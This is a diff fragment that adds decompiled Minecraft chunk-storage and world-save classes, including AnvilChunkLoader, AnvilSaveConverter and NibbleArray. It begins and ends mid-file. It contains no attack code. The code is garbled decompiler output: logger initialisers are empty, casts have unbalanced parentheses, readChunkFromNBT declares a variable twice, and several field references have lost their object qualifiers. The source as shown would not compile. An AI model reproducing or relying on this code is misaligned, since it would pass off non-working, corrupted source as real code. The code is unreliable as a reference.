+  public void func_177430_a(Class p_177430_1_, AxisAlignedBB p_177430_2_, List p_177430_3_, Predicate p_177430_4_) {}
+  
+
+  public boolean needsSaving(boolean p_76601_1_)
+  {
+    return false;
+  }
+  
+  public Random getRandomWithSeed(long seed)
+  {
+    return new Random(getWorld().getSeed() + xPosition * xPosition * 4987142 + xPosition * 5947611 + zPosition * zPosition * 4392871L + zPosition * 389711 ^ seed);
+  }
+  
+  public boolean isEmpty()
+  {
+    return true;
+  }
+  
+
+
+
+
+  public boolean getAreLevelsEmpty(int p_76606_1_, int p_76606_2_)
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/IChunkProvider.java b/src/minecraft/net/minecraft/world/chunk/IChunkProvider.java
new file mode 100644
index 0000000..00cc57e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/IChunkProvider.java
@@ -0,0 +1,38 @@
+package net.minecraft.world.chunk;
+
+import java.util.List;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.world.World;
+
+public abstract interface IChunkProvider
+{
+  public abstract boolean chunkExists(int paramInt1, int paramInt2);
+  
+  public abstract Chunk provideChunk(int paramInt1, int paramInt2);
+  
+  public abstract Chunk func_177459_a(BlockPos paramBlockPos);
+  
+  public abstract void populate(IChunkProvider paramIChunkProvider, int paramInt1, int paramInt2);
+  
+  public abstract boolean func_177460_a(IChunkProvider paramIChunkProvider, Chunk paramChunk, int paramInt1, int paramInt2);
+  
+  public abstract boolean saveChunks(boolean paramBoolean, IProgressUpdate paramIProgressUpdate);
+  
+  public abstract boolean unloadQueuedChunks();
+  
+  public abstract boolean canSave();
+  
+  public abstract String makeString();
+  
+  public abstract List func_177458_a(EnumCreatureType paramEnumCreatureType, BlockPos paramBlockPos);
+  
+  public abstract BlockPos func_180513_a(World paramWorld, String paramString, BlockPos paramBlockPos);
+  
+  public abstract int getLoadedChunkCount();
+  
+  public abstract void func_180514_a(Chunk paramChunk, int paramInt1, int paramInt2);
+  
+  public abstract void saveExtraData();
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/NibbleArray.java b/src/minecraft/net/minecraft/world/chunk/NibbleArray.java
new file mode 100644
index 0000000..9412117
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/NibbleArray.java
@@ -0,0 +1,82 @@
+package net.minecraft.world.chunk;
+
+
+
+public class NibbleArray
+{
+  private final byte[] data;
+  
+  private static final String __OBFID = "CL_00000371";
+  
+
+  public NibbleArray()
+  {
+    data = new byte['ࠀ'];
+  }
+  
+  public NibbleArray(byte[] storageArray)
+  {
+    data = storageArray;
+    
+    if (storageArray.length != 2048)
+    {
+      throw new IllegalArgumentException("ChunkNibbleArrays should be 2048 bytes not: " + storageArray.length);
+    }
+  }
+  
+
+
+
+  public int get(int x, int y, int z)
+  {
+    return getFromIndex(getCoordinateIndex(x, y, z));
+  }
+  
+
+
+
+  public void set(int x, int y, int z, int value)
+  {
+    setIndex(getCoordinateIndex(x, y, z), value);
+  }
+  
+  private int getCoordinateIndex(int x, int y, int z)
+  {
+    return y << 8 | z << 4 | x;
+  }
+  
+  public int getFromIndex(int index)
+  {
+    int var2 = func_177478_c(index);
+    return func_177479_b(index) ? data[var2] & 0xF : data[var2] >> 4 & 0xF;
+  }
+  
+  public void setIndex(int index, int value)
+  {
+    int var3 = func_177478_c(index);
+    
+    if (func_177479_b(index))
+    {
+      data[var3] = ((byte)(data[var3] & 0xF0 | value & 0xF));
+    }
+    else
+    {
+      data[var3] = ((byte)(data[var3] & 0xF | (value & 0xF) << 4));
+    }
+  }
+  
+  private boolean func_177479_b(int p_177479_1_)
+  {
+    return (p_177479_1_ & 0x1) == 0;
+  }
+  
+  private int func_177478_c(int p_177478_1_)
+  {
+    return p_177478_1_ >> 1;
+  }
+  
+  public byte[] getData()
+  {
+    return data;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/storage/AnvilChunkLoader.java b/src/minecraft/net/minecraft/world/chunk/storage/AnvilChunkLoader.java
new file mode 100644
index 0000000..15ebd38
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/storage/AnvilChunkLoader.java
@@ -0,0 +1,506 @@
+package net.minecraft.world.chunk.storage;
+
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.nbt.CompressedStreamTools;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.NextTickListEntry;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.NibbleArray;
+import net.minecraft.world.storage.IThreadedFileIO;
+import net.minecraft.world.storage.ThreadedFileIOBase;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class AnvilChunkLoader implements IChunkLoader, IThreadedFileIO
+{
+  private static final Logger logger = ;
+  private List chunksToRemove = com.google.common.collect.Lists.newArrayList();
+  private Set pendingAnvilChunksCoordinates = com.google.common.collect.Sets.newHashSet();
+  private Object syncLockObject = new Object();
+  
+  private final File chunkSaveLocation;
+  
+  private static final String __OBFID = "CL_00000384";
+  
+  public AnvilChunkLoader(File p_i2003_1_)
+  {
+    chunkSaveLocation = p_i2003_1_;
+  }
+  
+
+
+  public Chunk loadChunk(World worldIn, int x, int z)
+    throws IOException
+  {
+    NBTTagCompound var4 = null;
+    ChunkCoordIntPair var5 = new ChunkCoordIntPair(x, z);
+    Object var6 = syncLockObject;
+    
+    synchronized (syncLockObject)
+    {
+      if (pendingAnvilChunksCoordinates.contains(var5))
+      {
+        for (int var7 = 0; var7 < chunksToRemove.size(); var7++)
+        {
+          if (chunksToRemove.get(var7)).chunkCoordinate.equals(var5))
+          {
+            var4 = chunksToRemove.get(var7)).nbtTags;
+            break;
+          }
+        }
+      }
+    }
+    
+    if (var4 == null)
+    {
+      DataInputStream var10 = RegionFileCache.getChunkInputStream(chunkSaveLocation, x, z);
+      
+      if (var10 == null)
+      {
+        return null;
+      }
+      
+      var4 = CompressedStreamTools.read(var10);
+    }
+    
+    return checkedReadChunkFromNBT(worldIn, x, z, var4);
+  }
+  
+
+
+
+  protected Chunk checkedReadChunkFromNBT(World worldIn, int p_75822_2_, int p_75822_3_, NBTTagCompound p_75822_4_)
+  {
+    if (!p_75822_4_.hasKey("Level", 10))
+    {
+      logger.error("Chunk file at " + p_75822_2_ + "," + p_75822_3_ + " is missing level data, skipping");
+      return null;
+    }
+    if (!p_75822_4_.getCompoundTag("Level").hasKey("Sections", 9))
+    {
+      logger.error("Chunk file at " + p_75822_2_ + "," + p_75822_3_ + " is missing block data, skipping");
+      return null;
+    }
+    
+
+    Chunk var5 = readChunkFromNBT(worldIn, p_75822_4_.getCompoundTag("Level"));
+    
+    if (!var5.isAtLocation(p_75822_2_, p_75822_3_))
+    {
+      logger.error("Chunk file at " + p_75822_2_ + "," + p_75822_3_ + " is in the wrong location; relocating. (Expected " + p_75822_2_ + ", " + p_75822_3_ + ", got " + xPosition + ", " + zPosition + ")");
+      p_75822_4_.setInteger("xPos", p_75822_2_);
+      p_75822_4_.setInteger("zPos", p_75822_3_);
+      var5 = readChunkFromNBT(worldIn, p_75822_4_.getCompoundTag("Level"));
+    }
+    
+    return var5;
+  }
+  
+  public void saveChunk(World worldIn, Chunk chunkIn)
+    throws net.minecraft.world.MinecraftException, IOException
+  {
+    worldIn.checkSessionLock();
+    
+    try
+    {
+      NBTTagCompound var3 = new NBTTagCompound();
+      NBTTagCompound var4 = new NBTTagCompound();
+      var3.setTag("Level", var4);
+      writeChunkToNBT(chunkIn, worldIn, var4);
+      addChunkToPending(chunkIn.getChunkCoordIntPair(), var3);
+    }
+    catch (Exception var5)
+    {
+      var5.printStackTrace();
+    }
+  }
+  
+  protected void addChunkToPending(ChunkCoordIntPair p_75824_1_, NBTTagCompound p_75824_2_)
+  {
+    Object var3 = syncLockObject;
+    
+    synchronized (syncLockObject)
+    {
+      if (pendingAnvilChunksCoordinates.contains(p_75824_1_))
+      {
+        for (int var4 = 0; var4 < chunksToRemove.size(); var4++)
+        {
+          if (chunksToRemove.get(var4)).chunkCoordinate.equals(p_75824_1_))
+          {
+            chunksToRemove.set(var4, new PendingChunk(p_75824_1_, p_75824_2_));
+            return;
+          }
+        }
+      }
+      
+      chunksToRemove.add(new PendingChunk(p_75824_1_, p_75824_2_));
+      pendingAnvilChunksCoordinates.add(p_75824_1_);
+      ThreadedFileIOBase.func_178779_a().queueIO(this);
+    }
+  }
+  
+
+
+
+  public boolean writeNextIO()
+  {
+    PendingChunk var1 = null;
+    Object var2 = syncLockObject;
+    
+    synchronized (syncLockObject)
+    {
+      if (chunksToRemove.isEmpty())
+      {
+        return false;
+      }
+      
+      var1 = (PendingChunk)chunksToRemove.remove(0);
+      pendingAnvilChunksCoordinates.remove(chunkCoordinate);
+    }
+    
+    if (var1 != null)
+    {
+      try
+      {
+        writeChunkNBTTags(var1);
+      }
+      catch (Exception var4)
+      {
+        var4.printStackTrace();
+      }
+    }
+    
+    return true;
+  }
+  
+  private void writeChunkNBTTags(PendingChunk p_75821_1_) throws IOException
+  {
+    DataOutputStream var2 = RegionFileCache.getChunkOutputStream(chunkSaveLocation, chunkCoordinate.chunkXPos, chunkCoordinate.chunkZPos);
+    CompressedStreamTools.write(nbtTags, var2);
+    var2.close();
+  }
+  
+
+
+
+
+  public void saveExtraChunkData(World worldIn, Chunk chunkIn) {}
+  
+
+
+
+
+  public void chunkTick() {}
+  
+
+
+
+  public void saveExtraData()
+  {
+    while (writeNextIO()) {}
+  }
+  
+
+
+
+
+
+
+
+  private void writeChunkToNBT(Chunk p_75820_1_, World worldIn, NBTTagCompound p_75820_3_)
+  {
+    p_75820_3_.setByte("V", (byte)1);
+    p_75820_3_.setInteger("xPos", xPosition);
+    p_75820_3_.setInteger("zPos", zPosition);
+    p_75820_3_.setLong("LastUpdate", worldIn.getTotalWorldTime());
+    p_75820_3_.setIntArray("HeightMap", p_75820_1_.getHeightMap());
+    p_75820_3_.setBoolean("TerrainPopulated", p_75820_1_.isTerrainPopulated());
+    p_75820_3_.setBoolean("LightPopulated", p_75820_1_.isLightPopulated());
+    p_75820_3_.setLong("InhabitedTime", p_75820_1_.getInhabitedTime());
+    ExtendedBlockStorage[] var4 = p_75820_1_.getBlockStorageArray();
+    NBTTagList var5 = new NBTTagList();
+    boolean var6 = !provider.getHasNoSky();
+    ExtendedBlockStorage[] var7 = var4;
+    int var8 = var4.length;
+    
+
+    for (int var9 = 0; var9 < var8; var9++)
+    {
+      ExtendedBlockStorage var10 = var7[var9];
+      
+      if (var10 != null)
+      {
+        NBTTagCompound var11 = new NBTTagCompound();
+        var11.setByte("Y", (byte)(var10.getYLocation() >> 4 & 0xFF));
+        byte[] var12 = new byte[var10.getData().length];
+        NibbleArray var13 = new NibbleArray();
+        NibbleArray var14 = null;
+        
+        for (int var15 = 0; var15 < var10.getData().length; var15++)
+        {
+          char var16 = var10.getData()[var15];
+          int var17 = var15 & 0xF;
+          int var18 = var15 >> 8 & 0xF;
+          int var19 = var15 >> 4 & 0xF;
+          
+          if (var16 >> '\f' != 0)
+          {
+            if (var14 == null)
+            {
+              var14 = new NibbleArray();
+            }
+            
+            var14.set(var17, var18, var19, var16 >> '\f');
+          }
+          
+          var12[var15] = ((byte)(var16 >> '\004' & 0xFF));
+          var13.set(var17, var18, var19, var16 & 0xF);
+        }
+        
+        var11.setByteArray("Blocks", var12);
+        var11.setByteArray("Data", var13.getData());
+        
+        if (var14 != null)
+        {
+          var11.setByteArray("Add", var14.getData());
+        }
+        
+        var11.setByteArray("BlockLight", var10.getBlocklightArray().getData());
+        
+        if (var6)
+        {
+          var11.setByteArray("SkyLight", var10.getSkylightArray().getData());
+        }
+        else
+        {
+          var11.setByteArray("SkyLight", new byte[var10.getBlocklightArray().getData().length]);
+        }
+        
+        var5.appendTag(var11);
+      }
+    }
+    
+    p_75820_3_.setTag("Sections", var5);
+    p_75820_3_.setByteArray("Biomes", p_75820_1_.getBiomeArray());
+    p_75820_1_.setHasEntities(false);
+    NBTTagList var20 = new NBTTagList();
+    
+
+    for (var8 = 0; var8 < p_75820_1_.getEntityLists().length; var8++)
+    {
+      Iterator var22 = p_75820_1_.getEntityLists()[var8].iterator();
+      
+      while (var22.hasNext())
+      {
+        Entity var24 = (Entity)var22.next();
+        NBTTagCompound var11 = new NBTTagCompound();
+        
+        if (var24.writeToNBTOptional(var11))
+        {
+          p_75820_1_.setHasEntities(true);
+          var20.appendTag(var11);
+        }
+      }
+    }
+    
+    p_75820_3_.setTag("Entities", var20);
+    NBTTagList var21 = new NBTTagList();
+    Iterator var22 = p_75820_1_.getTileEntityMap().values().iterator();
+    
+    while (var22.hasNext())
+    {
+      TileEntity var25 = (TileEntity)var22.next();
+      NBTTagCompound var11 = new NBTTagCompound();
+      var25.writeToNBT(var11);
+      var21.appendTag(var11);
+    }
+    
+    p_75820_3_.setTag("TileEntities", var21);
+    List var23 = worldIn.getPendingBlockUpdates(p_75820_1_, false);
+    
+    if (var23 != null)
+    {
+      long var26 = worldIn.getTotalWorldTime();
+      NBTTagList var27 = new NBTTagList();
+      Iterator var28 = var23.iterator();
+      
+      while (var28.hasNext())
+      {
+        NextTickListEntry var29 = (NextTickListEntry)var28.next();
+        NBTTagCompound var30 = new NBTTagCompound();
+        ResourceLocation var31 = (ResourceLocation)Block.blockRegistry.getNameForObject(var29.func_151351_a());
+        var30.setString("i", var31 == null ? "" : var31.toString());
+        var30.setInteger("x", field_180282_a.getX());
+        var30.setInteger("y", field_180282_a.getY());
+        var30.setInteger("z", field_180282_a.getZ());
+        var30.setInteger("t", (int)(scheduledTime - var26));
+        var30.setInteger("p", priority);
+        var27.appendTag(var30);
+      }
+      
+      p_75820_3_.setTag("TileTicks", var27);
+    }
+  }
+  
+
+
+
+
+  private Chunk readChunkFromNBT(World worldIn, NBTTagCompound p_75823_2_)
+  {
+    int var3 = p_75823_2_.getInteger("xPos");
+    int var4 = p_75823_2_.getInteger("zPos");
+    Chunk var5 = new Chunk(worldIn, var3, var4);
+    var5.setHeightMap(p_75823_2_.getIntArray("HeightMap"));
+    var5.setTerrainPopulated(p_75823_2_.getBoolean("TerrainPopulated"));
+    var5.setLightPopulated(p_75823_2_.getBoolean("LightPopulated"));
+    var5.setInhabitedTime(p_75823_2_.getLong("InhabitedTime"));
+    NBTTagList var6 = p_75823_2_.getTagList("Sections", 10);
+    byte var7 = 16;
+    ExtendedBlockStorage[] var8 = new ExtendedBlockStorage[var7];
+    boolean var9 = !provider.getHasNoSky();
+    
+    for (int var10 = 0; var10 < var6.tagCount(); var10++)
+    {
+      NBTTagCompound var11 = var6.getCompoundTagAt(var10);
+      byte var12 = var11.getByte("Y");
+      ExtendedBlockStorage var13 = new ExtendedBlockStorage(var12 << 4, var9);
+      byte[] var14 = var11.getByteArray("Blocks");
+      NibbleArray var15 = new NibbleArray(var11.getByteArray("Data"));
+      NibbleArray var16 = var11.hasKey("Add", 7) ? new NibbleArray(var11.getByteArray("Add")) : null;
+      char[] var17 = new char[var14.length];
+      
+      for (int var18 = 0; var18 < var17.length; var18++)
+      {
+        int var19 = var18 & 0xF;
+        int var20 = var18 >> 8 & 0xF;
+        int var21 = var18 >> 4 & 0xF;
+        int var22 = var16 != null ? var16.get(var19, var20, var21) : 0;
+        var17[var18] = ((char)(var22 << 12 | (var14[var18] & 0xFF) << 4 | var15.get(var19, var20, var21)));
+      }
+      
+      var13.setData(var17);
+      var13.setBlocklightArray(new NibbleArray(var11.getByteArray("BlockLight")));
+      
+      if (var9)
+      {
+        var13.setSkylightArray(new NibbleArray(var11.getByteArray("SkyLight")));
+      }
+      
+      var13.removeInvalidBlocks();
+      var8[var12] = var13;
+    }
+    
+    var5.setStorageArrays(var8);
+    
+    if (p_75823_2_.hasKey("Biomes", 7))
+    {
+      var5.setBiomeArray(p_75823_2_.getByteArray("Biomes"));
+    }
+    
+    NBTTagList var23 = p_75823_2_.getTagList("Entities", 10);
+    
+    if (var23 != null)
+    {
+      for (int var24 = 0; var24 < var23.tagCount(); var24++)
+      {
+        NBTTagCompound var26 = var23.getCompoundTagAt(var24);
+        Entity var29 = EntityList.createEntityFromNBT(var26, worldIn);
+        var5.setHasEntities(true);
+        
+        if (var29 != null)
+        {
+          var5.addEntity(var29);
+          Entity var32 = var29;
+          
+          for (NBTTagCompound var35 = var26; var35.hasKey("Riding", 10); var35 = var35.getCompoundTag("Riding"))
+          {
+            Entity var37 = EntityList.createEntityFromNBT(var35.getCompoundTag("Riding"), worldIn);
+            
+            if (var37 != null)
+            {
+              var5.addEntity(var37);
+              var32.mountEntity(var37);
+            }
+            
+            var32 = var37;
+          }
+        }
+      }
+    }
+    
+    NBTTagList var25 = p_75823_2_.getTagList("TileEntities", 10);
+    
+    if (var25 != null)
+    {
+      for (int var27 = 0; var27 < var25.tagCount(); var27++)
+      {
+        NBTTagCompound var30 = var25.getCompoundTagAt(var27);
+        TileEntity var33 = TileEntity.createAndLoadEntity(var30);
+        
+        if (var33 != null)
+        {
+          var5.addTileEntity(var33);
+        }
+      }
+    }
+    
+    if (p_75823_2_.hasKey("TileTicks", 9))
+    {
+      NBTTagList var28 = p_75823_2_.getTagList("TileTicks", 10);
+      
+      if (var28 != null)
+      {
+        for (int var31 = 0; var31 < var28.tagCount(); var31++)
+        {
+          NBTTagCompound var34 = var28.getCompoundTagAt(var31);
+          Block var36;
+          Block var36;
+          if (var34.hasKey("i", 8))
+          {
+            var36 = Block.getBlockFromName(var34.getString("i"));
+          }
+          else
+          {
+            var36 = Block.getBlockById(var34.getInteger("i"));
+          }
+          
+          worldIn.func_180497_b(new BlockPos(var34.getInteger("x"), var34.getInteger("y"), var34.getInteger("z")), var36, var34.getInteger("t"), var34.getInteger("p"));
+        }
+      }
+    }
+    
+    return var5;
+  }
+  
+  static class PendingChunk
+  {
+    public final ChunkCoordIntPair chunkCoordinate;
+    public final NBTTagCompound nbtTags;
+    private static final String __OBFID = "CL_00000385";
+    
+    public PendingChunk(ChunkCoordIntPair p_i2002_1_, NBTTagCompound p_i2002_2_)
+    {
+      chunkCoordinate = p_i2002_1_;
+      nbtTags = p_i2002_2_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/storage/AnvilSaveConverter.java b/src/minecraft/net/minecraft/world/chunk/storage/AnvilSaveConverter.java
new file mode 100644
index 0000000..8ceb56e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/storage/AnvilSaveConverter.java
@@ -0,0 +1,300 @@
+package net.minecraft.world.chunk.storage;
+
+import com.google.common.collect.Lists;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.AnvilConverterException;
+import net.minecraft.nbt.CompressedStreamTools;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.world.WorldType;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.biome.WorldChunkManagerHell;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.SaveFormatComparator;
+import net.minecraft.world.storage.SaveFormatOld;
+import net.minecraft.world.storage.WorldInfo;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class AnvilSaveConverter extends SaveFormatOld
+{
+  private static final Logger logger = ;
+  private static final String __OBFID = "CL_00000582";
+  
+  public AnvilSaveConverter(File p_i2144_1_)
+  {
+    super(p_i2144_1_);
+  }
+  
+  public String func_154333_a()
+  {
+    return "Anvil";
+  }
+  
+  public List getSaveList() throws AnvilConverterException
+  {
+    if ((savesDirectory != null) && (savesDirectory.exists()) && (savesDirectory.isDirectory()))
+    {
+      ArrayList var1 = Lists.newArrayList();
+      File[] var2 = savesDirectory.listFiles();
+      File[] var3 = var2;
+      int var4 = var2.length;
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        File var6 = var3[var5];
+        
+        if (var6.isDirectory())
+        {
+          String var7 = var6.getName();
+          WorldInfo var8 = getWorldInfo(var7);
+          
+          if ((var8 != null) && ((var8.getSaveVersion() == 19132) || (var8.getSaveVersion() == 19133)))
+          {
+            boolean var9 = var8.getSaveVersion() != getSaveVersion();
+            String var10 = var8.getWorldName();
+            
+            if (StringUtils.isEmpty(var10))
+            {
+              var10 = var7;
+            }
+            
+            long var11 = 0L;
+            var1.add(new SaveFormatComparator(var7, var10, var8.getLastTimePlayed(), var11, var8.getGameType(), var9, var8.isHardcoreModeEnabled(), var8.areCommandsAllowed()));
+          }
+        }
+      }
+      
+      return var1;
+    }
+    
+
+    throw new AnvilConverterException("Unable to read or access folder where game worlds are saved!");
+  }
+  
+
+  protected int getSaveVersion()
+  {
+    return 19133;
+  }
+  
+
+
+
+  public void flushCache() {}
+  
+
+
+
+  public ISaveHandler getSaveLoader(String p_75804_1_, boolean p_75804_2_)
+  {
+    return new AnvilSaveHandler(savesDirectory, p_75804_1_, p_75804_2_);
+  }
+  
+  public boolean func_154334_a(String p_154334_1_)
+  {
+    WorldInfo var2 = getWorldInfo(p_154334_1_);
+    return (var2 != null) && (var2.getSaveVersion() == 19132);
+  }
+  
+
+
+
+  public boolean isOldMapFormat(String p_75801_1_)
+  {
+    WorldInfo var2 = getWorldInfo(p_75801_1_);
+    return (var2 != null) && (var2.getSaveVersion() != getSaveVersion());
+  }
+  
+
+
+
+  public boolean convertMapFormat(String p_75805_1_, IProgressUpdate p_75805_2_)
+  {
+    p_75805_2_.setLoadingProgress(0);
+    ArrayList var3 = Lists.newArrayList();
+    ArrayList var4 = Lists.newArrayList();
+    ArrayList var5 = Lists.newArrayList();
+    File var6 = new File(savesDirectory, p_75805_1_);
+    File var7 = new File(var6, "DIM-1");
+    File var8 = new File(var6, "DIM1");
+    logger.info("Scanning folders...");
+    addRegionFilesToCollection(var6, var3);
+    
+    if (var7.exists())
+    {
+      addRegionFilesToCollection(var7, var4);
+    }
+    
+    if (var8.exists())
+    {
+      addRegionFilesToCollection(var8, var5);
+    }
+    
+    int var9 = var3.size() + var4.size() + var5.size();
+    logger.info("Total conversion count is " + var9);
+    WorldInfo var10 = getWorldInfo(p_75805_1_);
+    Object var11 = null;
+    
+    if (var10.getTerrainType() == WorldType.FLAT)
+    {
+      var11 = new WorldChunkManagerHell(BiomeGenBase.plains, 0.5F);
+    }
+    else
+    {
+      var11 = new WorldChunkManager(var10.getSeed(), var10.getTerrainType(), var10.getGeneratorOptions());
+    }
+    
+    convertFile(new File(var6, "region"), var3, (WorldChunkManager)var11, 0, var9, p_75805_2_);
+    convertFile(new File(var7, "region"), var4, new WorldChunkManagerHell(BiomeGenBase.hell, 0.0F), var3.size(), var9, p_75805_2_);
+    convertFile(new File(var8, "region"), var5, new WorldChunkManagerHell(BiomeGenBase.sky, 0.0F), var3.size() + var4.size(), var9, p_75805_2_);
+    var10.setSaveVersion(19133);
+    
+    if (var10.getTerrainType() == WorldType.DEFAULT_1_1)
+    {
+      var10.setTerrainType(WorldType.DEFAULT);
+    }
+    
+    createFile(p_75805_1_);
+    ISaveHandler var12 = getSaveLoader(p_75805_1_, false);
+    var12.saveWorldInfo(var10);
+    return true;
+  }
+  
+
+
+
+  private void createFile(String p_75809_1_)
+  {
+    File var2 = new File(savesDirectory, p_75809_1_);
+    
+    if (!var2.exists())
+    {
+      logger.warn("Unable to create level.dat_mcr backup");
+    }
+    else
+    {
+      File var3 = new File(var2, "level.dat");
+      
+      if (!var3.exists())
+      {
+        logger.warn("Unable to create level.dat_mcr backup");
+      }
+      else
+      {
+        File var4 = new File(var2, "level.dat_mcr");
+        
+        if (!var3.renameTo(var4))
+        {
+          logger.warn("Unable to create level.dat_mcr backup");
+        }
+      }
+    }
+  }
+  
+  private void convertFile(File p_75813_1_, Iterable p_75813_2_, WorldChunkManager p_75813_3_, int p_75813_4_, int p_75813_5_, IProgressUpdate p_75813_6_)
+  {
+    Iterator var7 = p_75813_2_.iterator();
+    
+    while (var7.hasNext())
+    {
+      File var8 = (File)var7.next();
+      convertChunks(p_75813_1_, var8, p_75813_3_, p_75813_4_, p_75813_5_, p_75813_6_);
+      p_75813_4_++;
+      int var9 = (int)Math.round(100.0D * p_75813_4_ / p_75813_5_);
+      p_75813_6_.setLoadingProgress(var9);
+    }
+  }
+  
+
+
+
+  private void convertChunks(File p_75811_1_, File p_75811_2_, WorldChunkManager p_75811_3_, int p_75811_4_, int p_75811_5_, IProgressUpdate p_75811_6_)
+  {
+    try
+    {
+      String var7 = p_75811_2_.getName();
+      RegionFile var8 = new RegionFile(p_75811_2_);
+      RegionFile var9 = new RegionFile(new File(p_75811_1_, var7.substring(0, var7.length() - ".mcr".length()) + ".mca"));
+      
+      for (int var10 = 0; var10 < 32; var10++)
+      {
+
+
+        for (int var11 = 0; var11 < 32; var11++)
+        {
+          if ((var8.isChunkSaved(var10, var11)) && (!var9.isChunkSaved(var10, var11)))
+          {
+            DataInputStream var12 = var8.getChunkDataInputStream(var10, var11);
+            
+            if (var12 == null)
+            {
+              logger.warn("Failed to fetch input stream");
+            }
+            else
+            {
+              NBTTagCompound var13 = CompressedStreamTools.read(var12);
+              var12.close();
+              NBTTagCompound var14 = var13.getCompoundTag("Level");
+              ChunkLoader.AnvilConverterData var15 = ChunkLoader.load(var14);
+              NBTTagCompound var16 = new NBTTagCompound();
+              NBTTagCompound var17 = new NBTTagCompound();
+              var16.setTag("Level", var17);
+              ChunkLoader.convertToAnvilFormat(var15, var17, p_75811_3_);
+              DataOutputStream var18 = var9.getChunkDataOutputStream(var10, var11);
+              CompressedStreamTools.write(var16, var18);
+              var18.close();
+            }
+          }
+        }
+        
+        var11 = (int)Math.round(100.0D * (p_75811_4_ * 1024) / (p_75811_5_ * 1024));
+        int var20 = (int)Math.round(100.0D * ((var10 + 1) * 32 + p_75811_4_ * 1024) / (p_75811_5_ * 1024));
+        
+        if (var20 > var11)
+        {
+          p_75811_6_.setLoadingProgress(var20);
+        }
+      }
+      
+      var8.close();
+      var9.close();
+    }
+    catch (IOException var19)
+    {
+      var19.printStackTrace();
+    }
+  }
+  
+
+
+
+  private void addRegionFilesToCollection(File p_75810_1_, Collection p_75810_2_)
+  {
+    File var3 = new File(p_75810_1_, "region");
+    File[] var4 = var3.listFiles(new FilenameFilter()
+    {
+      private static final String __OBFID = "CL_00000583";
+      
+      public boolean accept(File p_accept_1_, String p_accept_2_) {
+        return p_accept_2_.endsWith(".mcr");
+      }
+    });
+    
+    if (var4 != null)
+    {
+      Collections.addAll(p_75810_2_, var4);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/storage/AnvilSaveHandler.java b/src/minecraft/net/minecraft/world/chunk/storage/AnvilSaveHandler.java
new file mode 100644
index 0000000..f207b8e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/storage/AnvilSaveHandler.java
@@ -0,0 +1,72 @@
+package net.minecraft.world.chunk.storage;
+
+import java.io.File;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldProviderEnd;
+import net.minecraft.world.WorldProviderHell;
+import net.minecraft.world.storage.SaveHandler;
+import net.minecraft.world.storage.ThreadedFileIOBase;
+import net.minecraft.world.storage.WorldInfo;
+
+public class AnvilSaveHandler extends SaveHandler
+{
+  private static final String __OBFID = "CL_00000581";
+  
+  public AnvilSaveHandler(File p_i2142_1_, String p_i2142_2_, boolean p_i2142_3_)
+  {
+    super(p_i2142_1_, p_i2142_2_, p_i2142_3_);
+  }
+  
+
+
+
+  public IChunkLoader getChunkLoader(WorldProvider p_75763_1_)
+  {
+    File var2 = getWorldDirectory();
+    
+
+    if ((p_75763_1_ instanceof WorldProviderHell))
+    {
+      File var3 = new File(var2, "DIM-1");
+      var3.mkdirs();
+      return new AnvilChunkLoader(var3);
+    }
+    if ((p_75763_1_ instanceof WorldProviderEnd))
+    {
+      File var3 = new File(var2, "DIM1");
+      var3.mkdirs();
+      return new AnvilChunkLoader(var3);
+    }
+    
+
+    return new AnvilChunkLoader(var2);
+  }
+  
+
+
+
+
+  public void saveWorldInfoWithPlayer(WorldInfo p_75755_1_, NBTTagCompound p_75755_2_)
+  {
+    p_75755_1_.setSaveVersion(19133);
+    super.saveWorldInfoWithPlayer(p_75755_1_, p_75755_2_);
+  }
+  
+
+
+
+  public void flush()
+  {
+    try
+    {
+      ThreadedFileIOBase.func_178779_a().waitForFinish();
+    }
+    catch (InterruptedException var2)
+    {
+      var2.printStackTrace();
+    }
+    
+    RegionFileCache.clearRegionFileReferences();
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/storage/ChunkLoader.java b/src/minecraft/net/minecraft/world/chunk/storage/ChunkLoader.java
new file mode 100644
index 0000000..c39ff0e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/storage/ChunkLoader.java
@@ -0,0 +1,168 @@
+package net.minecraft.world.chunk.storage;
+
